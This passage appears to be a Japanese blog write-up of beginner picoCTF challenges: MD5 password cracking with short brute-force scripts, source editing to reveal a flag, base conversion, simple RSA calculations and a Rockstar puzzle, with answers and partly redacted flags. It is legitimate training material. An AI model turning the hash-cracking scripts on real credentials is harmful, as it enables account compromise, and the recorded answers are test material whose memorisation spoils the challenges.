### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################

flag_enc = open('level2.flag.txt.enc', 'rb').read()



def level_2_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    if( user_pw == chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39) ):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), user_pw)
        print(decryption)
        return
    print("That password is incorrect")



level_2_pw_check()

chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39)というエンコードされたパスワードがハードコードされていた。

>>> chr(0x34) + chr(0x65) + chr(0x63) + chr(0x39)
'4ec9'
$ python3 level2.py
Please enter correct password for flag: 4ec9
Welcome back... your flag, user:
picoCTF{tr45h_51ng1ng_<REDACTED>}

PW Crack 3 (100points)

Pythonスクリプトlevel3.pyを解析し、暗号化されたファイルlevel3.flag.txt.encを復号してフラグを取得する問題。level3.hash.binというファイルも一緒に渡された。

以下はlevel3.pyの内容。

import hashlib

### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################

flag_enc = open('level3.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level3.hash.bin', 'rb').read()


def hash_pw(pw_str):
    pw_bytes = bytearray()
    pw_bytes.extend(pw_str.encode())
    m = hashlib.md5()
    m.update(pw_bytes)
    return m.digest()


def level_3_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    user_pw_hash = hash_pw(user_pw)
    
    if( user_pw_hash == correct_pw_hash ):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), user_pw)
        print(decryption)
        return
    print("That password is incorrect")



level_3_pw_check()


# The strings below are 7 possibilities for the correct password. 
#   (Only 1 is correct)
pos_pw_list = ["8799", "d3ab", "1ea2", "acaf", "2295", "a9de", "6f3d"]

スクリプトの中には以下の7つのパスワードがハードコードされていた。このうちの1つが正解のパスワードである。

  • 8799
  • d3ab
  • 1ea2
  • acaf
  • 2295
  • a9de
  • 6f3d

level3.pylevel3.hash.binに記載されているMD5ハッシュ値とユーザーの入力したパスワードのMD5ハッシュ値が一致した場合、level3.flag.txt.encを復号する。

level3.hash.binには16026d60ff9b54410b3435b403afd226というMD5ハッシュ値が記載されていた。

$ xxd level3.hash.bin
00000000: 1602 6d60 ff9b 5441 0b34 35b4 03af d226  ..m`..TA.45....&

7つのパスワードのMD5ハッシュ値を計算したところ、上記のハッシュ値と一致したパスワードは2295だった。

$ echo -n "2295" | md5sum
16026d60ff9b54410b3435b403afd226  -
$ python3 level3.py
Please enter correct password for flag: 2295
Welcome back... your flag, user:
picoCTF{m45h_fl1ng1ng_<REDACTED>}

PW Crack 4 (100points)

Pythonスクリプトlevel4.pyを解析し、暗号化されたファイルlevel4.flag.txt.encを復号してフラグを取得する問題。level4.hash.binというファイルも一緒に渡された。

以下はlevel4.pyの内容。

import hashlib

### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################

flag_enc = open('level4.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level4.hash.bin', 'rb').read()


def hash_pw(pw_str):
    pw_bytes = bytearray()
    pw_bytes.extend(pw_str.encode())
    m = hashlib.md5()
    m.update(pw_bytes)
    return m.digest()


def level_4_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    user_pw_hash = hash_pw(user_pw)
    
    if( user_pw_hash == correct_pw_hash ):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), user_pw)
        print(decryption)
        return
    print("That password is incorrect")



level_4_pw_check()



# The strings below are 100 possibilities for the correct password. 
#   (Only 1 is correct)
pos_pw_list = ["158f", "1655", "d21e", "4966", "ed69", "1010", "dded", "844c", "40ab", "a948", "156c", "ab7f", "4a5f", "e38c", "ba12", "f7fd", "d780", "4f4d", "5ba1", "96c5", "55b9", "8a67", "d32b", "aa7a", "514b", "e4e1", "1230", "cd19", "d6dd", "b01f", "fd2f", "7587", "86c2", "d7b8", "55a2", "b77c", "7ffe", "4420", "e0ee", "d8fb", "d748", "b0fe", "2a37", "a638", "52db", "51b7", "5526", "40ed", "5356", "6ad4", "2ddd", "177d", "84ae", "cf88", "97a3", "17ad", "7124", "eff2", "e373", "c974", "7689", "b8b2", "e899", "d042", "47d9", "cca9", "ab2a", "de77", "4654", "9ecb", "ab6e", "bb8e", "b76b", "d661", "63f8", "7095", "567e", "b837", "2b80", "ad4f", "c514", "ffa4", "fc37", "7254", "b48b", "d38b", "a02b", "ec6c", "eacc", "8b70", "b03e", "1b36", "81ff", "77e4", "dbe6", "59d9", "fd6a", "5653", "8b95", "d0e5"]

スクリプトの中には以下の100個のパスワードがハードコードされており、このうちの1つが正解のパスワードである。

level4.pylevel4.hash.binに記載されているMD5ハッシュ値とユーザーの入力したパスワードのMD5ハッシュ値が一致した場合、level4.flag.txt.encを復号する。

level4.hash.binにはd3d58c4786a6a229427351500ac7abd7というMD5ハッシュ値が記載されていた。

$ xxd level4.hash.bin
00000000: d3d5 8c47 86a6 a229 4273 5150 0ac7 abd7  ...G...)BsQP....

100個のパスワードのMD5ハッシュ値を手動で計算するのは大変なので、以下のスクリプトを書いて実行した。

import hashlib

pos_pw_list = ["158f", "1655", "d21e", "4966", "ed69", "1010", "dded", "844c", "40ab", "a948", "156c", "ab7f", "4a5f", "e38c", "ba12", "f7fd", "d780", "4f4d", "5ba1", "96c5", "55b9", "8a67", "d32b", "aa7a", "514b", "e4e1", "1230", "cd19", "d6dd", "b01f", "fd2f", "7587", "86c2", "d7b8", "55a2", "b77c", "7ffe", "4420", "e0ee", "d8fb", "d748", "b0fe", "2a37", "a638", "52db", "51b7", "5526", "40ed", "5356", "6ad4", "2ddd", "177d", "84ae", "cf88", "97a3", "17ad", "7124", "eff2", "e373", "c974", "7689", "b8b2", "e899", "d042", "47d9", "cca9", "ab2a", "de77", "4654", "9ecb", "ab6e", "bb8e", "b76b", "d661", "63f8", "7095", "567e", "b837", "2b80", "ad4f", "c514", "ffa4", "fc37", "7254", "b48b", "d38b", "a02b", "ec6c", "eacc", "8b70", "b03e", "1b36", "81ff", "77e4", "dbe6", "59d9", "fd6a", "5653", "8b95", "d0e5"]

correct_pw_hash = open('level4.hash.bin', 'rb').read()

def hash_pw(pw_str):
    pw_bytes = bytearray()
    pw_bytes.extend(pw_str.encode())
    m = hashlib.md5()
    m.update(pw_bytes)
    return m.digest()
    
for pw in pos_pw_list:
    passwd_hash = hash_pw(pw)
    if (passwd_hash == correct_pw_hash):
        print("Password is: " + str(pw))
        break
$ python3 cracker.py
Password is: 8b95

正解のパスワードは8b95と判明した。

$ python3 level4.py
Please enter correct password for flag: 8b95
Welcome back... your flag, user:
picoCTF{fl45h_5pr1ng1ng_<REDACTED>}

PW Crack 5 (100points)

Pythonスクリプトlevel5.pyを解析し、暗号化されたファイルlevel5.flag.txt.encを復号してフラグを取得する問題。level5.hash.bindictionary.txtというファイルも一緒に渡された。

以下はlevel5.pyの内容。

import hashlib

### THIS FUNCTION WILL NOT HELP YOU FIND THE FLAG --LT ########################
def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])
###############################################################################

flag_enc = open('level5.flag.txt.enc', 'rb').read()
correct_pw_hash = open('level5.hash.bin', 'rb').read()


def hash_pw(pw_str):
    pw_bytes = bytearray()
    pw_bytes.extend(pw_str.encode())
    m = hashlib.md5()
    m.update(pw_bytes)
    return m.digest()


def level_5_pw_check():
    user_pw = input("Please enter correct password for flag: ")
    user_pw_hash = hash_pw(user_pw)
    
    if( user_pw_hash == correct_pw_hash ):
        print("Welcome back... your flag, user:")
        decryption = str_xor(flag_enc.decode(), user_pw)
        print(decryption)
        return
    print("That password is incorrect")



level_5_pw_check()

level5.pylevel5.hash.binに記載されているMD5ハッシュ値とユーザーの入力したパスワードのMD5ハッシュ値が一致した場合、level5.flag.txt.encを復号する。

dictionary.txtには大量のパスワードが記載されており、このうちのひとつが正解のパスワードとなる。

$ wc -l dictionary.txt
65536 dictionary.txt
$ head dictionary.txt
0000
0001
0002
0003
0004
0005
0006
0007
0008
0009

以下のスクリプトを書いて実行し、パスワードを取得した。

import hashlib

correct_pw_hash = open('level5.hash.bin', 'rb').read()

def hash_pw(pw_str):
    pw_bytes = bytearray()
    pw_bytes.extend(pw_str.encode())
    m = hashlib.md5()
    m.update(pw_bytes)
    return m.digest()
    
with open('dictionary.txt', 'r') as f:
    for pw in f:
        pw = pw.rstrip() # remove the trailing newline
        passwd_hash = hash_pw(pw)
        #print(passwd_hash)
        if (correct_pw_hash == passwd_hash):
            print('Password is: ' + str(pw))
            break
$ python3 cracker.py
Password is: eee0

パスワードはeee0だった。

$ python3 level5.py
Please enter correct password for flag: eee0
Welcome back... your flag, user:
picoCTF{h45h_sl1ng1ng_<REDACTED>}

runme.py (100points)

$ grep -i pico runme.py
flag ='picoCTF{run_s4n1ty_<REDACTED>}'

Serpentine (100points)

Pythonスクリプトserpentine.pyを解析してフラグを取得する問題。

以下はserpentine.pyの内容。


import random
import sys



def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)        
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])


flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5c) + chr(0x01) + chr(0x57) + chr(0x2a) + chr(0x17) + chr(0x5e) + chr(0x5f) + chr(0x0d) + chr(0x3b) + chr(0x19) + chr(0x56) + chr(0x5b) + chr(0x5e) + chr(0x36) + chr(0x53) + chr(0x07) + chr(0x51) + chr(0x18) + chr(0x58) + chr(0x05) + chr(0x57) + chr(0x11) + chr(0x3a) + chr(0x0f) + chr(0x0a) + chr(0x5b) + chr(0x57) + chr(0x41) + chr(0x55) + chr(0x0c) + chr(0x59) + chr(0x14)


def print_flag():
  flag = str_xor(flag_enc, 'enkidu')
  print(flag)


def print_encouragement():
  encouragements = ['You can do it!', 'Keep it up!', 
                    'Look how far you\'ve come!']
  choice = random.choice(range(0, len(encouragements)))
  print('\n-----------------------------------------------------')
  print(encouragements[choice])
  print('-----------------------------------------------------\n\n')



def main():


  print(
'''
    Y
  .-^-.
 /     \      .- ~ ~ -.
()     ()    /   _ _   `.                     _ _ _
 \_   _/    /  /     \   \                . ~  _ _  ~ .
   | |     /  /       \   \             .' .~       ~-. `.
   | |    /  /         )   )           /  /             `.`.
   \ \_ _/  /         /   /           /  /                `'
    \_ _ _.'         /   /           (  (
                    /   /             \  \\
                   /   /               \  \\
                  /   /                 )  )
                 (   (                 /  /
                  `.  `.             .'  /
                    `.   ~ - - - - ~   .'
                       ~ . _ _ _ _ . ~
'''
  )
  print('Welcome to the serpentine encourager!\n\n')
  
  while True:
    print('a) Print encouragement')
    print('b) Print flag')
    print('c) Quit\n')
    choice = input('What would you like to do? (a/b/c) ')
    
    if choice == 'a':
      print_encouragement()
      
    elif choice == 'b':
      print('\nOops! I must have misplaced the print_flag function! Check my source code!\n\n')
      
    elif choice == 'c':
      sys.exit(0)
      
    else:
      print('\nI did not understand "' + choice + '", input only "a", "b" or "c"\n\n')



if __name__ == "__main__":
  main()

print_flag()を呼び出すようにソースコードを書き換えればフラグを取れる。

main()の直前にprint_flag()を呼び出すように書き換えてスクリプトを実行したところ、フラグを取れた。

if __name__ == "__main__":
  print_flag()
  main()
$ python3 serpentine.py
picoCTF{7h3_r04d_l355_7r4v3l3d_<REDACTED>}

    Y
  .-^-.
 /     \      .- ~ ~ -.
()     ()    /   _ _   `.                     _ _ _
 \_   _/    /  /     \   \                . ~  _ _  ~ .
   | |     /  /       \   \             .' .~       ~-. `.
   | |    /  /         )   )           /  /             `.`.
   \ \_ _/  /         /   /           /  /                `'
    \_ _ _.'         /   /           (  (
                    /   /             \  \
                   /   /               \  \
                  /   /                 )  )
                 (   (                 /  /
                  `.  `.             .'  /
                    `.   ~ - - - - ~   .'
                       ~ . _ _ _ _ . ~

Welcome to the serpentine encourager!


a) Print encouragement
b) Print flag
c) Quit

What would you like to do? (a/b/c)

plumbing (200points)

$ nc jupiter.challenges.picoctf.org 7480 | grep -i pico
picoCTF{digital_plumb3r_<REDACTED>}

Based (200points)

以下のnetcatコマンドでサーバーに接続するように言われた。

nc jupiter.challenges.picoctf.org 29221
$ nc jupiter.challenges.picoctf.org 29221
Let us see how data is stored
container
Please give the 01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010 as a word.
...
you have 45 seconds.....

01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010をデコードしろと言われた。これは2進数である。

>>> chr(int('01100011',2)) + chr(int('01101111',2)) + chr(int('01101110',2)) + chr(int('01110100',2)) + chr(int('01100001',2)) + chr(int('01101001',2)) + chr(int('01101110',2)) + chr(int('01100101',2)) + chr(int('01110010',2))
'container'

答えはcontainerだった。(実はLet us see how data is storedという文のすぐ下に答えが書いてあった。)

Please give the 01100011 01101111 01101110 01110100 01100001 01101001 01101110 01100101 01110010 as a word.
...
you have 45 seconds.....

Input:
container
Please give me the  143 157 156 164 141 151 156 145 162 as a word.
Input:

次に143 157 156 164 141 151 156 145 162をデコードしろと言われた。これは8進数である。

>>> chr(int('143',8)) + chr(int('157',8)) + chr(int('156',8)) + chr(int('164',8)) + chr(int('141',8)) + chr(int('151',8)) + chr(int('156',8)) + chr(int('145',8)) + chr(int('162',8))
'container'

今回も答えはcontainerだった。

Please give me the  143 157 156 164 141 151 156 145 162 as a word.
Input:
container
Please give me the 7375626d6172696e65 as a word.

次に7375626d6172696e65をデコードしろと言われた。これは16進数である。

$ echo 7375626d6172696e65 | xxd -r -p
submarine

答えはsubmarineだった。

Please give me the 7375626d6172696e65 as a word.
Input:
submarine
You've beaten the challenge
Flag: picoCTF{learning_about_converting_values_<REDACTED>}

フラグを取れた。

miniRSA (300points)

RSA暗号化されたフラグを復号する問題。

以下の値を元にフラグを復号する。

N: 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673
e: 3

ciphertext (c): 2205316413931134031074603746928247799030155221252519872650073010782049179856976080512716237308882294226369300412719995904064931819531456392957957122459640736424089744772221933500860936331459280832211445548332429338572369823704784625368933 

以下のサイトにCとNとEの値を入力したところ、フラグを復号できた。

https://www.dcode.fr/rsa-cipher

rsa-pop-quiz (200points)

RSA暗号に関する出題に答えていってフラグを取得する問題。

$ nc jupiter.challenges.picoctf.org 58617
Good morning class! It's me Ms. Adleman-Shamir-Rivest
Today we will be taking a pop quiz, so I hope you studied. Cramming just will not do!
You will need to tell me if each example is possible, given your extensive crypto knowledge.
Inputs and outputs are in decimal. No hex here!
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):

pとqからnを求められるか否か、求められる場合はnの値を答えよとのこと。

nは以下の式で求められる。

n = p * q
>>> 60413*76753
4636878989

答えは4636878989

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
n: 4636878989
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):

pとnからqを求められるか否か、求められる場合はqの値を答えよとのこと。

qは以下の式で求められる。

q = n / p
>>> 5051846941 / 54269
93089.0

答えは93089

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
q: 93089
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):

上記のeとnの値からpとqを求められるか否か、求められる場合はpとqの値を答えよとのこと。

こちらのサイトでeとnの値を入力してpとqの値を求めようとしたが無理だった。

答えは否。

IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):

pとqからtotient(n)を求められるか否か、求められる場合はtotient(n)の値を答えよとのこと。

こちらのサイトでpとqをもとにtotient(n)を計算した。答えは836623060

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
totient(n): 836623060
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

平文とeとnをもとに暗号文を復元できるか否か、復元できる場合は暗号文を答えよとのこと。

暗号文は以下の式で求められる。

暗号文 = 平文のE乗 mod N
>>> e = 3
>>> n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
>>>
>>> plain = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
>>>
>>>
>>> cipher = (plain ** e) % n
>>> cipher
256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813

答えは256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
ciphertext: 256931246631782714357241556582441991993437399854161372646318659020994329843524306570818293602492485385337029697819837182169818816821461486018802894936801257629375428544752970630870631166355711254848465862207765051226282541748174535990314552471546936536330397892907207943448897073772015986097770443616540466471245438117157152783246654401668267323136450122287983612851171545784168132230208726238881861407976917850248110805724300421712827401063963117423718797887144760360749619552577176382615108244813
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

上記の暗号文とeとnをもとに平文を求められるか否か、求められる場合は平文を答えよとのこと。

こちらのサイトで暗号文とeとnの値を入力して平文を求めようとしたが無理だった。

答えは否。

IS THIS POSSIBLE and FEASIBLE? (Y/N):N
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559
p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637
e : 65537
##### PRODUCE THE FOLLOWING ####
d
IS THIS POSSIBLE and FEASIBLE? (Y/N):

qとpとeをもとにdを求めれるか否か、求められる場合はdの値を答えよとのこと。

以下のスクリプトを実行してdの値を求めた。

Ref: https://pashango-p.hatenadiary.org/entry/20090706/1246897957
# get greatest common divisor
def gcd(a, b):
     while b:
          a, b = b, a%b
     return a
# get least common multiple
def lcm(a, b):
    return a * b // gcd(a,b) # use '//' instead of '/' to avoid the error "OverflowError: integer division result too large for a float"
# get d
'''
1 < d < l
e * d mod l = 1
'''
def get_d(a, b):
    if b == 0:
        u = 1
        v = 0
    else:
        q = a // b  # use '//' instead of '/' to avoid the error "OverflowError: integer division result too large for a float"
        r = a % b
        (u0, v0) = get_d(b, r)
        u = v0
        v = u0 - q * v0
    return (u, v)
    
q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559

p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637

e = 65537

l = lcm((p - 1), (q - 1))

d = get_d(e, l)[0]
if d < 0:
    d += l

print('d: ' + str(d))
$ python3 find-d.py
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729

答えは1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729

IS THIS POSSIBLE and FEASIBLE? (Y/N):Y
#### TIME TO SHOW ME WHAT YOU GOT! ###
d: 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
Outstanding move!!!

次の問題。

#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 15898528329836486259454280642537682745047492250031819804208947573732209296147142448425785475270839697919293976182333838349380319082449313123936042811917218253196274432195116911131311101664245124078266845291992250418272429673592762174381527121624558596357902629676671110003023710107905410987270486412752306303470410502366293287214002128769133995449197216690029130480234844827254205117539992852496638836353167147769854523276743309449394023887611024408163270210444112592577810624181267012402352918669635578760260278590557042623644240179185252741450067430771092134328724271261927055861090533852597204599189199436235384288
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):

pと暗号文とeとnの値をもとに平文を復号できるか否か、復号できる場合は平文を答えよとのこと。

こちらのサイトでpと暗号文とeとnの値を入力したところ、平文を復号できた。

復号された平文がフラグだった。

mus1c (300points)

以下の暗号文を復号してフラグを取得する問題。

Pico's a CTFFFFFFF
my mind is waitin
It's waitin

Put my mind of Pico into This
my flag is not found
put This into my flag
put my flag into Pico


shout Pico
shout Pico
shout Pico

My song's something
put Pico into This

Knock This down, down, down
put This into CTF

shout CTF
my lyric is nothing
Put This without my song into my lyric
Knock my lyric down, down, down

shout my lyric

Put my lyric into This
Put my song with This into my lyric
Knock my lyric down

shout my lyric

Build my lyric up, up ,up

shout my lyric
shout Pico
shout It

Pico CTF is fun
security is important
Fun is fun
Put security with fun into Pico CTF
Build Fun up
shout fun times Pico CTF
put fun times Pico CTF into my song

build it up

shout it
shout it

build it up, up
shout it
shout Pico

皆目見当がつかないので、早々にヒントを見た。

以下、ヒント。

Do you think you can master rockstar?

もしかしてrockstarという名前の暗号方式があるのか?と思い、「rockstar cipher」とググってみたところ、こちらのオンラインデコーダーに辿り着いた。(Rockstarは正確には暗号方式ではなく、プログラミング言語のこと)

デコーダーに暗号文 ソースコードを入力したところ、以下が現れた。

114
114
114
111
99
107
110
114
110
48
49
49
51
114

恐らくasciiコードと思われる。

以下のスクリプトでasciiコードをデコードしたところ、フラグを取れた。

enc_flag = [114, 114, 114, 111, 99, 107, 110, 114, 110, 48, 49, 49, 51, 114]

flag = ''

for i in enc_flag:
    flag += chr(int(i))
    
print(flag)

money-ware (100points)

ビットコインアドレス1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWXに関係しているマルウェアの名前を答えよとのこと。ビットコインアドレスをググると、Petyaランサムウェアと関係していることがすぐに分かる。

Permissions (100points)

以下のsshコマンドでサーバーに接続し、rootにあるファイルを開けとのこと。

ssh -p 58589 picoplayer@saturn.picoctf.net

ルートディレクトリ (/) に移動するとchallengeというサブディレクトリがあり、その中にmetadata.jsonというファイルがあった。このファイルにフラグが記載されていた。

picoplayer@challenge:/$ cat challenge/metadata.json
{"flag": "picoCTF{uS1ng_v1m_3dit0r_<REDACTED>}", "username": "picoplayer", "password": "x+T6aPgE4-"}

Leave a Reply

Your email address will not be published. Required fields are marked *